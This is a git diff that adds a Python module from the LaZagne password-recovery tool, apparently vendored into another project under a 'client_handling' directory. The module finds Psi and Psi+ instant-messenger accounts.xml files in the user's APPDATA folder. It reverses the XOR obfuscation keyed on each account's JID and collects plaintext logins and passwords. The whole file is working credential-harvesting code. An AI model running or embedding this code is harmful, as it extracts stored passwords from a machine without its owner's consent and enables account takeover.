1 files changed, 64 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/chats/psi.py b/foreign/client_handling/lazagne/softwares/chats/psi.py
new file mode 100644
index 0000000..a2afdd7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/psi.py
@@ -0,0 +1,64 @@
+# -*- coding: utf-8 -*- 
+import os
+from xml.etree.cElementTree import ElementTree
+from glob import glob
+from itertools import cycle
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+
+class PSI(ModuleInfo):
+    def __init__(self):
+        self.pwd_found = []
+
+        ModuleInfo.__init__(self, 'psi-im', 'chats')
+
+    def get_profiles_files(self):
+        _dirs = (
+            u'psi\\profiles\\*\\accounts.xml',
+            u'psi+\\profiles\\*\\accounts.xml',
+        )
+
+        for one_dir in _dirs:
+            _path = os.path.join(constant.profile['APPDATA'], one_dir)
+            accs_files = glob(_path)
+            for one_file in accs_files:
+                yield one_file
+
+    # Thanks to https://github.com/jose1711/psi-im-decrypt
+    def decode_password(self, password, jid):
+        result = ''
+        jid = cycle(jid)
+        for n1 in range(0, len(password), 4):
+            x = int(password[n1:n1 + 4], 16)
+            result += chr(x ^ char_to_int(next(jid)))
+
+        return result
+
+    def process_one_file(self, _path):
+        root = ElementTree(file=_path).getroot()
+
+        for item in root:
+            if item.tag == '{http://psi-im.org/options}accounts':
+                for acc in item:
+                    values = {}
+
+                    for x in acc:
+                        if x.tag == '{http://psi-im.org/options}jid':
+                            values['Login'] = x.text
+
+                        elif x.tag == '{http://psi-im.org/options}password':
+                            values['Password'] = x.text
+
+                    values['Password'] = self.decode_password(values['Password'], values['Login'])
+
+                    if values:
+                        self.pwd_found.append(values)
+
+    def run(self):
+        for one_file in self.get_profiles_files():
+            self.process_one_file(one_file)
+
+        return self.pwd_found